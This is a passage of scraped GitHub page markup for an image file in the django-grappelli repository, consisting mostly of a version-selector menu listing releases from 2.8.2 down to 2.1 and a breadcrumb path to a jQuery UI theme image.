5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.8.2">
                2.8.2
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.8.1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.8.1"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.8.1">
                2.8.1
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.7.3/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.7.3"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.7.3">
                2.7.3
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.7.2/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.7.2"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.7.2">
                2.7.2
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.7.1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.7.1"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.7.1">
                2.7.1
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.6.5/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.6.5"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.6.5">
                2.6.5
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.6.4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.6.4"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.6.4">
                2.6.4
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.6.3/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.6.3"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.6.3">
                2.6.3
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.6.2/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.6.2"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.6.2">
                2.6.2
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.6.1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.6.1"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.6.1">
                2.6.1
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.5.7/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.5.7"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.5.7">
                2.5.7
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.5.6/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.5.6"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.5.6">
                2.5.6
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.5.5/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.5.5"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.5.5">
                2.5.5
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.5.4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.5.4"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.5.4">
                2.5.4
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.5.3/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.5.3"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.5.3">
                2.5.3
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.5.2/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.5.2"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.5.2">
                2.5.2
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.5.1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.5.1"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.5.1">
                2.5.1
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.5.0/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.5.0"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.5.0">
                2.5.0
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.4.12/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.4.12"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.4.12">
                2.4.12
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.4.11/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.4.11"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.4.11">
                2.4.11
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.4.10/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.4.10"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.4.10">
                2.4.10
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.4.9/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.4.9"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.4.9">
                2.4.9
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.4.8/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.4.8"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.4.8">
                2.4.8
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.4.7/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.4.7"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.4.7">
                2.4.7
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.4.6/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.4.6"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.4.6">
                2.4.6
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.4.5/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.4.5"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.4.5">
                2.4.5
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.4.4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.4.4"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.4.4">
                2.4.4
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.4.3/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.4.3"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.4.3">
                2.4.3
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.4.2/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.4.2"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.4.2">
                2.4.2
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.4.1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.4.1"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.4.1">
                2.4.1
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.4.0/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.4.0"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.4.0">
                2.4.0
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.3.9/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.3.9"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.3.9">
                2.3.9
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.3.8/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.3.8"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.3.8">
                2.3.8
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.3.7/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.3.7"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.3.7">
                2.3.7
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.3.6/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.3.6"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.3.6">
                2.3.6
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.3.5/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.3.5"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.3.5">
                2.3.5
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.3.4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.3.4"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.3.4">
                2.3.4
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.3.3/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.3.3"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.3.3">
                2.3.3
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.3.2/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.3.2"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.3.2">
                2.3.2
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.3.1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.3.1"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.3.1">
                2.3.1
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.3/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.3"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.3">
                2.3
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.2/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.2"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.2">
                2.2
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.1.1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.1.1"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.1.1">
                2.1.1
              </span>
            </a>
            <a class="select-menu-item js-navigation-item
js-navigation-open "
             
href="/sehmaschine/django-grappelli/tree/2.1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
              data-name="2.1"
              data-skip-pjax="true"
              rel="nofollow">
              <svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
              <span class="select-menu-item-text
css-truncate-target" title="2.1">
                2.1
              </span>
            </a>
        </div>

        <div class="select-menu-no-results">Nothing to
show</div>
      </div>

    </div>
  </div>
</div>

  <div class="BtnGroup float-right">
    <a href="/sehmaschine/django-grappelli/find/grappelli_2_4"
          class="js-pjax-capture-input btn btn-sm BtnGroup-item"
          data-pjax
          data-hotkey="t">
      Find file
    </a>
    <button aria-label="Copy file path to clipboard"
class="js-zeroclipboard btn btn-sm BtnGroup-item tooltipped
tooltipped-s" data-copied-hint="Copied!"
type="button">Copy path</button>
  </div>
  <div class="breadcrumb js-zeroclipboard-target">
    <span class="repo-root js-repo-root"><span
class="js-path-segment"><a
href="/sehmaschine/django-grappelli/tree/grappelli_2_4"><span>django-grappelli</span></a></span></span><span
class="separator">/</span><span
class="js-path-segment"><a
href="/sehmaschine/django-grappelli/tree/grappelli_2_4/grappelli"><span>grappelli</span></a></span><span
class="separator">/</span><span
class="js-path-segment"><a
href="/sehmaschine/django-grappelli/tree/grappelli_2_4/grappelli/static"><span>static</span></a></span><span
class="separator">/</span><span
class="js-path-segment"><a
href="/sehmaschine/django-grappelli/tree/grappelli_2_4/grappelli/static/grappelli"><span>grappelli</span></a></span><span
class="separator">/</span><span
class="js-path-segment"><a
href="/sehmaschine/django-grappelli/tree/grappelli_2_4/grappelli/static/grappelli/jquery"><span>jquery</span></a></span><span
class="separator">/</span><span
class="js-path-segment"><a
href="/sehmaschine/django-grappelli/tree/grappelli_2_4/grappelli/static/grappelli/jquery/ui"><span>ui</span></a></span><span
class="separator">/</span><span
class="js-path-segment"><a
href="/sehmaschine/django-grappelli/tree/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css"><span>css</span></a></span><span
class="separator">/</span><span
class="js-path-segment"><a
href="/sehmaschine/django-grappelli/tree/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css/custom-theme"><span>custom-theme</span></a></span><span
class="separator">/</span><span
class="js-path-segment"><a
href="/sehmaschine/django-grappelli/tree/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images"><span>images</span></a></span><span
class="separator">/</span><strong
class="final-path">ui-bg_highlight-soft_75_cccccc_1x100.png</strong>
  </div>
</div>

<include-fragment class="commit-tease"
src="/sehmaschine/django-grappelli/contributors/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png">
  <div>
    Fetching contributors&hellip;
  </div>

  <div class="commit-tease-contributors">
    <img alt="" class="loader-loading float-left"
height="16"
src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32-EAF2F5.gif"
width="16" />
    <span class="loader-error">Cannot retrieve contributors
at this time</span>
  </div>
</include-fragment>

<div class="file">
  <div class="file-header">
  <div class="file-actions">

    <div class="BtnGroup">
      <a
